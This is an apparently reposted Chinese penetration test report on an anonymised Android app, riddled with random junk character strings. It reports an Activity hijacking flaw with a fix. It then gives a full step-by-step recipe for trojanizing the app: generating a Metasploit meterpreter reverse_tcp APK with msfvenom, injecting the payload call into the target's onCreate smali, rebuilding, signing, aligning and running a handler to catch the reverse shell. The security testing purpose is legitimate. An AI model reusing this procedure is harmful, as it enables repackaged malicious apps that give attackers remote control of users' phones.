原创-app客户端渗透测试报告之反编译捆绑msf马二次打包以及active劫持漏洞

admin

! {% u+ t$ }$ E7 w" L. r" S

' f/ f$ W9 m/ I8 N

( J- w* d0 Y. D0 I, C

. R4 Z8 f s2 V

文档编号：                $ W: g1 j8 a2 N- _* o9 Q( o& ^4 j2 \) ] ! q: E* a+ @ ~1 K

' Z) {# |) v7 B8 r; }& K; }

" M4 r: P- f4 E$ s! d v   5 n2 t. f; u& K! g# k5 p

9 O S% F2 }" \* s/ {9 w

$ a7 J+ ~2 G( q4 V% x- _" Y* l : B- q% M5 v( r# n   5 k6 E. t; m5 w! p$ B- g: m- C

" Q: J4 x; l. Z! d+ Q 7 F; N& [1 q8 W, }- o

6 L! N) g+ D% o7 l* ]3 _   - ^7 \) V# D% X8 ~

( v. Z5 g" ?( A7 `5 y& O% I9 o

+ l+ e; y) I7 u4 s& y1 u+ f# Y   : ]! u" m1 u# Y; d6 L / l+ ~0 E0 |6 C: ^

8 X" ?- U/ f* I 7 I x" x8 q, f% e

, X0 }4 I* F2 i. Q! Q+ X( E8 ~  

! N$ D9 W5 r' C9 n' S

* \9 K/ E. w& T1 K7 } 1 A+ E! R9 j$ \9 M/ K2 ]7 J2 \( X 某某某APP渗透测试

; a; T$ U; e* l$ S9 ~5 |# o6 [ : `6 m2 P2 |5 z8 D

  7 j: P- S6 [4 X; r$ G! P

; T, ^% X5 g7 @1 S* Z, S c

' t7 M6 A0 m- T  

, I- Z% d6 o6 Z4 w3 v0 K

( F _. ?1 t0 z: x, N/ E4 X  

. i0 t" l0 i( f# a* o7 G7 ~ 5 ^. ^5 I; T* Q

  3 M9 l: Z% D& |! L3 L0 m ( P0 Q4 {4 G- N

; z& l7 l( Z) V7 M- R( j1 A ! |7 E3 | M4 D4 H: e! Q: D4 y8 i

8 c% g" W% r* Z& t, Y) Y2 G4 ~/ ` 技 术 报 告

* @9 R) F% B. H% m" e5 T

  % d: J. k' L0 S: _7 |4 F/ L 6 n! V- ~2 I, {% M% Y; d5 {, B

" h7 `6 W* J% y

8 c; R% g. A0 p" G6 n7 b+ M4 L" ]( H   % i1 H4 ?& k5 q- A6 s' D + \6 C; E. n* @6 T: X- ]. G2 b% L

5 _9 q4 O7 M4 K7 D4 a) V# J; n  

& u2 i2 |% m; j/ [' @: D 3 q; m4 L) B$ e/ y: o

4 b2 @) |7 E! w! l" m" @ : d. ^0 @* y: v0 @0 }   5 h9 ~6 g& y$ u, b; S6 W

8 X* \/ y3 J) |

# V9 l3 u$ I" J# e8 s % N6 H6 G! {, O% `$ h+ {2 U# I# u   ! W+ ]3 J1 V/ L7 t- `* F/ E

9 U$ d* F+ r+ y- c! ^4 Y) z  

/ L2 G, Q8 q. n& K q; U 1 S3 [* g2 Y6 y5 ~

: x" I0 g4 i( l8 U; h/ J6 N 4 I. p$ ~- r" k- l- f) D   2 a( U& ?9 P7 p5 U* n$ r* L0 z ; b( \+ `' y5 k" a9 A

 

7 Y i% d; x3 r  

- K6 s0 {& |5 s0 k& I% Y8 D6 k2 l+ D

 

2 S& {: ^- o* ]3 p( U, r: a

( s7 p5 N! {; Q9 G4 r9 N   ( X0 w `* T# c( G/ @

" S4 ~* K5 p- r w5 r # b! |$ s: @) I# V; [9 S* M. m

; ]. V* S8 m2 O( ?  

3 d( v. c1 Y# I: p

* r) o7 M/ E. s8 O6 J* n   ; {# Y- ]" E C; ], t A5 K# x ; Y: S3 D! j; A& y% s9 s+ N

/ x' a( p3 |* ?6 ?' S

' `9 ~5 m0 ], l( L# }2 G% A % [7 w# R2 Z Q' \6 P  

1 {- B+ g: F& W' X0 y# Z' c* g E 2 L- q9 R) X3 |

) _( P6 q& K" @# v   4 O* b$ U' K7 x3 h6 p

9 C4 s9 ]) J; F7 G+ l6 ^- [ , a7 e$ m+ |0 c. S0 x" K

' U7 T4 n0 `2 p q/ g# W4 t   9 y- ]1 F X/ `& S5 S, B 8 V1 Q+ f0 ~' t/ ?( G5 U) i2 J, }0 U

$ Y1 S- X; Z, K. c* c& C7 ^/ S: I7 D   3 o8 B6 g% s" R7 o& x7 `# g* i , H' V3 T( V9 F, k6 O& l

' d( N2 W# R3 ~) a# [ % |" I9 P4 L; L, l

4 j$ A* D$ l# i* [9 P : I) L2 X# C2 P+ w; f   + N9 D! r4 y7 H1 y' v' g5 T 8 a$ @3 B- t( |3 R. @

- v, x" Y0 G6 X$ p 二〇二〇年 - A) J2 L; A1 k. w7 @

% D! V6 ]1 Q% ?1 b6 |' f& c . j0 C# p. _/ h. Q- E" Q# E
7 ~: ?; u; I* h& u o4 z 6 R! K8 Z2 X8 \( ]7 `. k9 s) c2 _ # b7 Z8 L7 v: O& o5 R, a

+ E0 f) H; w5 L- V6 C: @ " p0 q4 b$ C: e

$ N, `0 ]+ E# g( t6 S6 Y, @1 t
8 t/ y/ y- v8 D

* e2 A# N$ H7 M. N' L" @* a! j

" F1 N6 V) c4 t' v; H+ W8 j) X 目 录 6 V8 G6 Y7 h% E n+ V# K! M: v ' L8 Y* e# s: m i

  $ B+ L/ h5 U! n6 L! X

# @7 m1 v4 i5 J. Z+ {1 `- k9 q. t 4 i( a7 B2 h2 _9 u$ I

% w/ k' e: a9 C 1 概述... 3 4 K5 T4 m3 J( z4 ]( O

7 V3 x8 q1 i8 R' s

* _/ S( M% G' b. Q f 1.2测试时间... 3 : C, `' R& V& @

/ U. ]) ~$ @! N/ s' H2 ?" x9 b

* l4 f3 A$ V7 z0 r, v8 U- U$ s5 @0 ?3 q: B 1.3测试对象... 3 8 q# w; [0 ?* Z7 g 4 L) @# _0 `) s! y k; L# c

" D# z% E Y8 @$ F/ P/ V

1.4测试结果... 3 9 p; Z+ ^7 {, R% d3 { $ X# z# l7 x* L( g( l1 l+ F; @

6 f) ~% Q, V. L. Y& Q/ X

; n6 ?% Z( p( v4 @5 y 3 I0 ^% J' A% u 2 检测结果... 4

+ l( a1 C! d' I6 ^' F& H% ^ $ S- t7 h# u) `4 K( } m7 b 2.1 某某某... 4

4 E, \8 M9 Y3 e* Q ! @$ `- l; @6 P, T q( |+ G! K

2 m8 h- J6 w- E) w3 G 2.1.1检测目标... 4 + {* E4 ?" [- O8 e' S# n! h w- \

/ ^" J! S2 C% p3 } 7 U1 X# J+ }& |5 `1 `3 h1 y2 l

! [ G) G1 T6 ` ; ~/ b: R, U% i) b, z 2.1.2检测结果... 4 ( B( U4 q* H9 ^5 b3 ^7 {

; L, z% V7 K, O( {# _% N 2.1.2.1. 4 ' I4 B5 p( P/ Q* |; A& A

+ h- G4 H9 o2 E; q+ D. j V

6 g( }5 A6 g" p( |, U: h) c # R- ~- s3 b5 D8 _/ ?1 }% t' L. q5 n 2.1.2.2. 6

! K% B* d) j* L# `7 z4 D * I4 P9 z0 [8 C / J$ M$ R: m% y A* C

. S5 y' r, S- ^; f8 c. E; w / s, d7 p+ y1 R. V# k' |( b7 b! T$ a 4 T# C3 D+ G/ i: s$ E2 J! m9 j0 w

5 `5 [2 ~' F3 Q+ k% l) T+ I/ U 9 _6 _9 ~9 R- `! c x( b. I+ [

1 概述 / U5 v% Q7 h) q8 R3 x* I- ^ 3 K+ J, H: o! T

+ i/ }1 C. c7 i: n0 x Z: c" A . }) t2 ^5 e& \ A- r4 T

( C: _( `/ O8 O4 `) \ 1.2测试时间

! V& f. A( ~" j4 C& ^5 X, i & Q5 O" |6 J, D0 t7 W7 m: A' \& q& p+ H7 v3 E' n$ L* v% e9 ^$ c2 Q' ^ w1 z& \% ]* L/ z8 b+ s s7 ]; _& w* X& ?$ {8 B! Y, Q$ i+ |" `: X: x0 X0 @2 L$ S( p6 v+ K; ]% K* l8 ^/ i4 C* X( d; e5 _" R" ?. q' r) {& i d; E9 b* V1 G6 H9 q/ N, x' X/ m5 Q9 o( y: g; j/ x, w, Q: e9 x! [' M2 `+ m k6 h0 r3 `/ J8 Z4 w2 S$ y! j7 v

0 D2 u+ ]2 |3 C; a- K- n6 @9 ? 渗透测试时间 + a. j3 c! e7 d+ r' H- q 2 }6 E( `' `0 G% c! c6 s/ T* ^ % d3 u+ l& g& S$ z |& g+ C* ?
$ l6 R& n9 I' M+ T: v( e + A: w- X; R% [% K3 o4 _ 5 {* a& z: z6 F/ Y1 S 起始时间 4 z6 K2 U2 V1 i - [) b7 B; s7 Y# ~. d* H2 B	9 w$ V& z1 P2 V 7 y3 p1 b2 n E 2020年4月6日 - r0 {4 c# p- X" V6 ?7 J: n
: e8 }1 ^- n0 A1 f& e- `" ] 结束时间 1 O( ~! _% v9 `6 e) g5 X 6 o% m7 y% m* w/ W0 a) u! v	0 E. B) p# y0 ` F" P, N# s 2020年4月9日 6 d0 D' p4 o ?6 S7 y & x! O9 ?9 u4 k" i; y: P7 h7 c$ Y: X% T+ H 3 m& g1 b( f J* K& e ! j5 o9 Q# R% N/ }+ q2 `, T0 N

6 N' o+ ^. w0 S* |7 X: D

/ H& T) v/ J' S& Z ( S* \& s2 K4 j* \3 A 1.3测试对象 * q2 q, ?! r% N

1 r. p% b( O$ G8 P p9 E5 Z ( ?6 B* p+ L$ g7 @5 f( e* w

. ~! t/ b/ G& g4 k/ C , t# D; q1 G# c3 Z: P/ f* O1 d6 Q 此次测试目标为某某某安卓APP进行渗透性测试，APP存在安全漏洞数量如下表所示： : M, M* `2 T. M% t1 l* @

* V4 ]7 I/ f4 o

n5 \6 u* b: @' [1 M k 表1-1 检测对象 5 X! y" v; l! O4 o$ G # z/ W8 n- f* `9 o! h# g1 e

& R+ x& k9 _) X* ` x2 Z* o7 ~: V& f' o' E+ O# r! U6 t/ |0 D2 X; [7 T* R3 b P0 k3 E: U( ~' Q+ y+ `8 a8 i* O3 I+ y/ v. l- h/ {/ x7 p( n$ X2 r3 o9 d# v. }& p8 L1 W% N+ @% S( i) i8 @! F @$ C7 X. l: d- R0 f- ]9 w$ O' ~; b7 v& f, ^$ _: ?6 [, i% n( Y8 q% B4 Q5 R6 I/ O! E5 Z* Q# T

' |- T: {- b- H9 f . X2 m" G/ V0 K. O+ x # u7 w& a9 G& O- n5 l 序号	2 W O w) i5 p1 F/ j- ^ 9 [( Q, G/ U8 G D) w 测试对象 1 f; S7 S! z# E V2 O3 a& z% N" M	/ a: t4 c# g' j5 @+ u+ ?+ g 6 I N/ p! |1 \8 _ + L9 s: f& K8 Z3 q; G 测试地址 4 I& e5 i- B/ v" ~! @- [ # ~) F6 b! e8 `3 I. V 4 W2 }" P7 c7 N: U	安全漏洞 9 A1 t9 S3 b% A( d, b 3 R5 J4 |5 H% h7 A
9 j: h' W/ A. b9 m( N, ] , M% g" s! [' ~+ ? 1 " U t+ k6 D0 p( @	3 X; m- l+ w# P6 K 9 S: K& q! C( n 某某某安卓APP 0 h( }5 y% S+ ?! c+ }) m |1 W	5 p( _) w# ?- y M+ k 5 m' D: J0 S+ n4 Y3 E. [' p2 [3 q1 j   ' T+ Z3 L2 C$ L" V9 P& n, f ! q- A* T' v, o# w9 S6 f4 k( a X" i3 l	3 O' m' T2 H4 \# C& T ( m( f1 x V- g+ N) ~ ! J% I7 v& |& ^ y" B8 T5 f3 v) p8 W 2 u7 N( e$ b" i7 s5 A" u1 K & Z' v9 e/ Y- ?- e( M, S # l7 q& Z [' r

1 A( k% v9 r! A # j8 ]5 H7 t* |: v I& }- q

8 X F' M2 h; P$ R$ } 1.4测试结果 A; K2 U$ n" h# M$ ~5 D , m# M+ l1 s7 Z5 [( @+ f

) Y5 {7 Q+ X+ O/ }: Y8 j ; P4 r! S T& {% \* M6 ?) b

在本次对某某某APP透测试中发现，APP安全防护存在一定问题，主要问题如下所示： - u' y+ o% l, l# G

% h; H5 B7 O2 }( }# H, u % e, K& @) X2 ^* { j

0 L! p% ?) f1 B: G" M5 [   4 v+ s: a+ _) H- \

2 U. o3 v9 c. X1 F, t$ D9 _4 O7 C. L5 x4 e: E) C/ v5 o) M1 V; J2 q2 s% I$ C- n j% f2 \8 h& u3 J/ N2 _2 v7 j" T4 x: } F- i1 ~/ k/ e8 I* P( o* @4 |; d& {' S: ^2 @$ I) o: K# N8 I+ v6 N# O# Y$ Z3 @+ `, q8 u2 W3 H: X- ^* k1 w% S; V. v. C# y" |. C0 O* t* F$ Y C, f9 o6 c" K! m+ _' `1 x: X3 v5 V; H: `+ ]% }5 [) J# a! b9 D0 c: }8 R- ~7 X! }3 n8 q3 {5 f: ?! l0 ] E. P0 m+ x2 y$ ]; a! Z" `7 u8 X& `' P8 @2 Q2 h$ m- E/ Z3 i8 Y: h" V% ?4 D: _5 [. E& c0 q/ s3 s* x7 s8 o& B. G6 [2 ~* n7 W1 N; v" Y; q, s: U8 G0 o2 Y$ Q2 l( a& ?: x3 J5 {2 e" x1 u% |7 [6 x/ e7 H. N& X: W- ^& |( i$ @3 H; V+ _2 W) u, ]( y8 u( Q1 ]4 \

/ b4 g# L2 |, M( g0 V% }* h 序号 * T6 y ~& t, @( k5 m" ^6 v	8 u- I5 o: k" }3 o' a 1 M5 W. U5 _0 g* B- P2 } * `8 u& Q5 n. h6 q$ ~8 Q 系统名称	. n6 q) ~+ i6 b9 ? B5 S0 R 漏洞名称 * B# {: Z0 r& o7 ]: { * O- K( Q4 K: _; ~0 h) j1 ] : v; R! {+ ~8 K8 d8 P 4 }. G4 w/ |' {1 Z1 h% Z3 e	- @# X: Q" K5 x( v _ 漏洞危害 , S: C) I/ d3 `9 n 9 a% N, M: z0 q8 A 6 c' w/ L) t" ?0 a; S6 M	/ L+ r/ d c1 l( {! {; J. {4 [ 修复结果 8 D5 X: P( B' N; H ! U4 e6 T" q) T+ S3 Q5 k 0 l2 G- M! z, O E5 O3 i
s5 H" v' A% V + M' w7 J2 X. o 1 1 q! j9 d4 I6 V - A: M5 J' d& B3 C# A1 n( p! B/ _	2 i4 P$ V. w: J" {) A; C / `; @3 [$ D7 ?' M$ I 某某某某某某APP - S, e7 u5 M# j5 b% B4 \- F" A 6 S* V# j, y- y) V0 G5 G* x + N$ z7 n9 |+ R+ D, w1 Z	* c2 D! T$ z7 ]4 [7 k Activity 劫持 8 V5 }7 |7 t# s( m9 _; Y0 K   ! x, h6 C8 w5 n% W/ e5 u" k7 X4 X * Q/ o! j$ g9 g% ~4 I, y8 d0 w% r9 l 7 i/ |( J; k: h! j	: E6 w) ~& d1 _6 N$ Y% p* B1 H 6 B: J" g' c5 \/ { R; Q1 ~$ H% l 高 " k( V7 T9 o0 {) |* C4 h+ z / |: I d& k7 k; }. S% p1 y: I	0 B4 F) R! S/ e) @: Y! e ' u/ P* W8 P/ n$ ~. X" C2 B0 A3 H   7 V( I+ ~! b2 E% r3 n * P1 b6 K) S8 p' F 3 c; R! E6 e* G3 Q
7 F4 ?, u2 f+ F. l3 I+ n7 _ . B; o8 @5 N+ i1 I7 i- Z/ I 2 7 J& O) \0 @. u$ I/ b+ t8 |7 g 8 g3 K& d2 [+ ^% Y% G+ z+ {5 k	/ y2 w, A! }4 e1 ?$ o 8 F- I7 ]4 H& q+ h1 X5 Y 某某某某某某APP / d* j* W( c+ {+ w/ B$ j: J$ Q	6 Z5 x8 q1 _4 A/ e 3 j( L+ L- o- w5 Z; r' _: J 反编译二次打包捆绑木马、篡改APP代码 ; H6 P! {% V) O " L+ x; G, Z5 p% U 3 K9 r0 X0 c- V; s	9 \5 n5 u- w, R 高 & t; y6 K1 i! V8 J. `6 k3 U9 N 5 R7 |8 ~8 K0 i) N, d " r7 N& @; W& j	3 G- }. A+ a. ^8 @; A5 E # {% k# W9 f4 X4 D9 f   ]) v m* e7 g C; t" V! U' W

$ ~/ [! o9 c9 v0 s6 N% C; h! b/ O/ W

# q4 J- s2 S1 W" D9 C   2 G' K" S: J5 L

7 n! w) K( H2 F3 p

. L9 b8 L7 g7 A% \5 d& H 表1-2 测试结果 + Y# H) l2 D8 f: r # F" c8 t$ X: @& i/ t5 v+ Q6 @+ e

% \; [6 B0 B0 R+ ?+ |# P

. c2 h; y$ Z+ W1 x- S7 ]# m; G : }4 |2 j; E) V$ P- U9 h8 H   " F" H5 B4 H k# |

. v- @& H& d( ~

) o# ?0 ^8 T6 J0 ]. T4 M9 ` 2 检测结果                    * [ O; A/ @/ Z, s8 O2 @3 a

) ], \- [5 ?: j6 z2 x" p, y1 c _* P ) R, f3 X% ?& k. x

, Z+ W4 p& F( e/ }- q- s7 | ) O7 F4 J* e5 c! [. K' [ 2.1 某某某 $ Y1 e! S) ~& G- e6 j+ ?& m

. C# Z2 `" P+ ?+ L

) B% g+ ~6 b" o+ B+ n1 ]- p( x $ e2 ]2 f' _( s# L% S 2.1.1检测目标 0 {1 K* f. B3 v* A7 A8 l7 f A ! k0 w+ N% @% Z0 |( D, |2 N O' o

: j0 j$ t' e: }/ A! }- w

$ u) \( ]' r4 f0 _4 H; \/ p: p # x f; {& ]' ~) V3 [0 w/ B0 _5 a 目标地址： 某某某某某某APP ^- q: C# h4 c9 ?1 C# w

- D' \, ]" i/ \0 u4 X; S& C . W, j r" @( `: `; B6 |

2 ~" X$ l$ B2 R. k& a 2.1.2检测结果 8 a" h" D& x) u# Q' G2 p/ J" n9 H + }: ]" z7 ~5 |

$ R4 p+ b2 R- v8 e

$ a* x. f! l! e8 B, ` 2.1.2.1

# u: Y) l& p- T0 d2 S* j" [) j3 p H

% y _( A4 Y- g" e& b! e/ e& V 2 `7 ~4 {9 c; Z 漏洞链接地址：某某某某某某APP $ w+ M8 F$ v: ^

+ l5 S3 B4 w4 T k {$ y) y5 P

' t2 \! K" c5 k! N, E# V' a   1 ?- l9 @+ T3 P 1 ]9 F$ [' K# r; m

/ g8 T- l& G( t- l: F7 I" \ P 2 Y3 G3 p" {7 y' _! U" P0 Y" n' |

9 r9 i% ^; N! L" K: A A5 W5 i ( v# E: a# Y+ e o2 Z A" Q 漏洞分析及取证： 6 A* I1 N# l# a& d6 e

3 B' Q8 I$ a6 L" f + d! @$ a0 Q; F# r

4 I, g; o. c; Q' O( F                  通过androidkiiler反编译，发现app未进行安全加固， Activity 为com.minivision.cmcc.activity.SubActivity可被劫持，复现漏洞如图：

$ M* Q, Q1 F( J, V$ K

     : Y- ^$ r1 `* n: u) S

                      , S n& @3 d' T' n9 Y4 ~; ]

, ?) R+ Z- s% s. M6 b! W ! |% p" e; e/ P: N0 p

0 J' s; q2 j. v) ~' | 8 o, k- Z1 Q) N; W, J( P2 L/ s7 j6 a : e' U5 w G! ^6 V* r0 S; X

8 x2 A% `& }+ D. R" y& v 6 w/ Q1 Z3 T. F8 `

9 L" ]! U# p0 b( ]8 D6 x6 f. V2 a/ D 5 N2 x/ L3 z6 X4 L7 ^

* O% R& Z3 h |6 F. S, C2 V% E" G

+ u: m2 u: x& c0 S6 w % ?& I- n) P6 n9 o$ w

) I6 y; B6 n$ V* o$ b6 I4 T! q/ o 7 l8 X! i+ i1 A$ X! _4 a

0 k+ m8 S$ U9 [ t- o4 f W : F$ P [1 a$ f 漏洞危害：高 * L/ b( D6 N7 I! R3 X - u" C+ N3 O! g7 B7 i

$ j1 Y: Q+ {% g8 w8 x# x' w( h

* I5 I& J! z6 r1 n 1 m0 p6 M! T$ P/ L' R % e& W8 J8 v6 m! g, B& D! ]: Y7 u: E2 y/ Z& }1 @2 b, [% V5 j' X% l5 P' m3 B, {5 x3 K5 @' i: k( L/ t2 U4 y1 F: F( E; `, u5 w9 Y' E! v; t! w: J# g ~& B, G' G* r3 C/ k9 R! R0 T. c) {' h2 b }$ \7 q3 `: f. y! e# D0 q$ h" @. D- I1 h$ g/ q5 c4 m/ F4 T# P0 d( l# j

5 c( J( n" t) X8 J7 \2 v n " |7 m* R+ P5 q6 Z& e$ b3 U8 ] ; M7 m& j2 n4 K) S( C6 @ 严重程度 ) |: y. A- i h0 j. h6 e+ }	3 t: u' o+ S% c9 A& [ 9 J8 d8 Y8 F+ v: L 高 : a @* i, c5 [) ` 7 Z9 C9 j2 k& k; f2 i- g4 G * f; e# P' O' d( g( x# \* B. E	6 N$ Z; ~& x1 X0 c$ U5 i & v' v' |, ] Y+ Z- _* @, u ■ 3 }3 H' G( `: t8 X5 ] ) }: E( u; y( Y) _( X. W	1 a7 q, j* Q9 P, H- O) n j 7 q( {3 s8 V* Q 中 $ T u! S$ v! }1 f , B M. R8 H7 T& `. h / [0 E, o6 l; s3 v& I7 G$ A: C! A( { 6 h }, R' y; ?7 s1 c	h) S$ `! o6 V6 T   * e1 E2 }4 M" o/ a- z" a & M {0 ? _/ `* K % A9 |; R A4 H. [	/ n1 y( T0 ~- F 4 x" Q1 e _) H# L$ j, _5 i% R& P : x" m9 G$ N# I; O+ E# Q4 i3 E0 S 低 # {: H* S! r, C2 p" [ * |3 p* [; i* |' n 5 `. J$ Y5 `* B" M* ?9 X" i / C8 Y8 J% N* S3 k) K# b	6 T+ z: j3 s5 B$ Y: u/ C# y0 `: W 0 Y. u3 c' w/ |5 J   , ^* y; l4 Y& S7 }) ? . P% {; v7 a9 N' O

+ K8 G% } I1 @7 f. a6 G; A6 H8 y - X$ {+ [. ]# p$ x2 m

  4 l! s2 v) _" N8 x5 r$ Z$ |( W2 s. f

0 {9 p; T: I. n4 z. H, i

修复方法：在 APP 的 Activity 界面（也就是 MainActivity）中重写 onKeyDown 方法和 onPause 方法，当其被覆盖时，就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的（触摸返回键或 HOME 键），如果是用户自己触发的则无需弹出警示，否则弹出警示信息。 ( k% {8 ]+ x% F, b# G4 Q

, y. m4 i A6 {! K& i

. b6 O8 ^9 B1 V& X          

# [$ q; O4 B3 u O- t* Q

 

* O8 P+ C. _7 O3 Z& n

2.1.2.2

5 {. W+ l% m0 E

漏洞链接地址：某某某某某某APP y9 _; T' N/ I! D' p- @4 `+ V

/ E( o0 B+ n% `; P8 w 2 c" |) O. o% B) L$ c8 A3 v

* H# e+ S8 ?5 \ 漏洞分析及取证： . C8 M; b- |0 V0 d: U. d

- ~. S' @, g! T: X& x

                 通过反编译，发现程序未加壳加密，可直接反编译获取源码，经过测试可修改app代码捆绑木马或者植入广告等操作，复现详细方法如下： * e F( {* \$ [6 G 6 {$ ~, B6 j3 ?, Z

1 z0 Y( u8 b% B4 B O ( i5 `9 k& F# S) C

8 Q0 X/ G. v! n( J9 c+ `3 [ 用Metasploit 生成木马 apk & e+ _& Q( j8 i7 T

9 w2 t& Z6 i) _5 c* q $ w# d N2 s- _; X( G

+ v) M; K4 S- e8 s msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk

( ^$ `% c0 Q. S4 X1 C ) N* L$ ^ Y. K9 l

' o7 G3 O! Q6 R% ^" t, B 反编译目标apk和木马apk ' P7 p# \8 Q9 M7 }* K 7 ^! Y/ d* r6 e i1 O" k

% m& t( X! K2 } ?6 n G

: S/ u5 ~0 K1 E9 C& t: | apktool d target.apk
' {7 u2 H+ w" L$ Z) l) m9 K6 M apktool d cockhorse.apk 0 u4 g% N7 S% H e4 T

& h9 F r) F( \3 b1 A* \2 i 木马 apk 注入目标 apk 2 D! t! M2 H- s- z( A

: \8 y4 K+ \2 s7 h, j7 ^3 v4 x 0 ^; s% h* B- k. U; e7 m# Z

2 q1 Q, R& m) K V% i8 o$ P1 q% @ 在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件，并在 onCreate()方法中添加如下代码：
invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V 8 n# {/ L. G# I' T/ R! C8 ~ - t% g, L$ R: {0 E& ~$ Z- S

9 r1 ?4 o: Q$ J; I+ r8 ]& s2 I- ^% F # L. K9 U7 L/ D% K. Z9 W: n 将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中，去除重复 * y" h. s, f* u

" D9 S/ o9 k, K+ I 将木马文件的 smali 文件放到目标文件下，例如 com/metasploit 文件复制到目标文件 com/ 下 4 i) x6 }- h" _% K1 o8 s# L, W# m

回编译生成最终 apk ! Y4 u9 G. m5 B

0 n- C7 F$ F& l* x / d9 X6 \/ h& B2 {8 P1 X5 h

f4 S) U9 G" X$ O8 c+ L5 L 重新打包 ' o' B7 Q) B2 I# K3 o7 R2 t- X7 G ' b) L% v- y7 N5 j

$ x5 q7 r; x$ W7 A1 Z

apktool b -o repackage.apk target_app_floder

1 e! M7 M# Z+ V/ |& j E

! R! m6 T8 { r 6 C' w6 H5 B# G- R+ n1 s/ N 创建签名文件，有的话可忽略此步骤

keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000                9 x: Y( i" ^4 ]6 ^1 K

# X/ r& J- x! P6 {9 h

签名，以下任选其一 + n! T) ?; z1 s+ B5 B$ {

6 M2 o1 @5 z' m7 H! v6 P k + ?9 `, _' B' _: j

: W, U2 U0 F- }; H: @ jarsigner 方式 + R8 c) q/ t, U& S' s' r 9 l- e2 c) o/ l: y

: _$ O* \, s7 @ O6 R' y! X jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname

. Z" e6 \# J) f& P4 k2 I : k# U$ t* y) ~- H" y5 Z9 s5 o

5 ]( Q7 I- w% a% a l& R. U2 [& ?) ? apksigner 方式 8 \) ]4 g5 `7 J7 s2 [

! W- Q; _$ W1 {" w) r- { apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk 2 t K7 j' f p! w" P - @2 d& a2 |' F( d

$ v7 I" w$ m Y5 B1 L " z* {% C/ E- A1 T( [9 d- N

如需要禁用 v2签名 添加选项--v2-signing-enabled false & |' m6 j4 T k& d0 e- r& h' J) c0 ~1 x 8 B1 j: r" r3 H- |) |. [7 h

' q8 e g6 ~9 n# J# G2 t7 L2 _7 F

验证，以下任选其一 ; Z' _6 x6 _ ~3 q 9 v& T1 I+ X/ m/ I

7 A, j S( h A! H1 j/ Y

jarsigner方式 # v" W( w0 s, N% A2 o$ V2 K) R

/ B4 D. s0 y, g3 I; t# d

jarsigner -verify repackaged.apk 5 ~0 B2 P9 r1 f- M9 L: }& |

5 @' A! m% e- F2 P* }9 H* _; l* f - ^8 V, Y9 {& s& p# E8 h7 y# D! [

( f; ~+ e2 ]" }( x5 n. q - a& @& U: Z+ u; C/ c; u" ? apksigner 方式 - X* t) \# X) W0 {; `% t; h

$ O: a Z, P+ Q; t . X4 p; P! @* K+ A* T- H apksigner verify -v --print-certs repackaged.apk

f5 i- x; ?8 U! B7 s

/ P+ W% Q# [0 z. w* i$ _1 D* { keytool方式 ; c, @+ P# W' a" Z' }' E/ [ # E7 s" G0 v2 `) S: z

$ b" {9 y- s, B) R! n; | Q , o* }7 O( B$ U" V

- `# {- m$ l* m b& K" H8 T & M/ u( |: z$ u0 Q keytool -printcert -jarfile repackaged.apk 2 I( \7 i4 x0 O1 b) _

7 @ ?4 |# B' E/ z& o; \ k/ j x

' b5 j* t8 p6 U6 t a. l E4 D8 l, v9 p; w" W3 f. D) k 对齐 - P* `5 V1 b, r( H3 J) y 3 I% c# m* C+ H7 b. I

字节对齐优化

( E- V- q. K6 E! v$ e+ ^

9 ~' o2 ?2 d% h zipalign -v 4 repackaged.apk final.apk 4 P7 X+ s& q$ z. C7 u

$ F6 d% S2 r- q4 w5 r 6 J: z: N9 y; X& f. u( g: d( ]2 F

! N# m5 M2 z% H. S0 i2 c7 o 检查是否对齐 $ g2 K) @% D* T

5 v9 p5 k$ ~( {1 a1 X; a) R : y5 Y& V5 o7 T3 ~0 G4 h# {3 V

zipalign -c -v 4 final.apk & f& R, A, I7 s6 s% C) g

7 q+ d5 w6 B5 ^5 n7 p 9 Q i# R" `% j: Y! B3 ?5 j

! t, G: ?$ w. v 注：zipalign可以在V1签名后执行，但zipalign不能在V2签名后执行,只能在V2签名之前执行 ; n7 l& K" P, M( e

. Z' p1 T4 X; A, K/ c! S3 p4 d1 @ " A+ _' Y) T+ a. Y3 m- }

启动Metasploit控制台，配置参数等待上线 , h2 J8 r& r/ h* _6 ]: V( v : @# c1 Q0 h U7 f0 A: i7 I% y

- h% P8 k* ^( N! C" B+ X ' K, A; W$ K1 M

9 U. \; |/ ~$ D- X, g! A" I 在终端依次输入如下命令 2 B9 u3 d; {. \+ g9 | i+ ]6 ^/ ` 4 n2 ?& y6 W5 W$ H

1 k# c& i8 P+ c) I msfconsole

# b/ s4 k6 t% }. W / x, e1 H( C$ ]# X( V$ K

, S- g/ y6 U! [4 v% z& _/ O use exploit/multi/handler 2 N0 R. U, E) F' S; ?

. H6 t2 B. b4 H

6 p9 R' O- ?- i1 T' l# d set PAYLOAD android/meterpreter/reverse_tcp

4 s( C; y- y/ p: X, l: _2 u# H

, T8 p" k. {+ ^( x/ N$ \$ W: ^( ^ ! h: F& Z+ [2 d set LHOST 192.xxx.xx.xx - B2 ~ J- k7 H( A' P/ F ! I$ `5 f) k3 X

2 Q ]4 p# o; E% B* x' S 3 }& O/ l! u9 Y1 e4 r

# V5 @0 B+ c X+ p. w! a f4 L6 ] set LPORT 4444

) @; T; x* i, g

exploit - t$ C1 Z2 T, c8 B

7 c: a' ^! i+ k+ k

5 k% b& M( \: L! L" r- Q' L 1 U) o# ]& |, a3 C* O 之前我们把入口放在 MainActivity 的 onCreate 方法中，当启动目标应用进入该界面，就会连接成功，如下图：               8 w+ M% L1 f6 @& w

( ], @3 |0 K9 Z" ^

+ {' J f# V" d 漏洞危害：中 b) O3 K% }9 ~% S, g0 l9 R+ `

& P) l* u0 @* o( X* v: ~

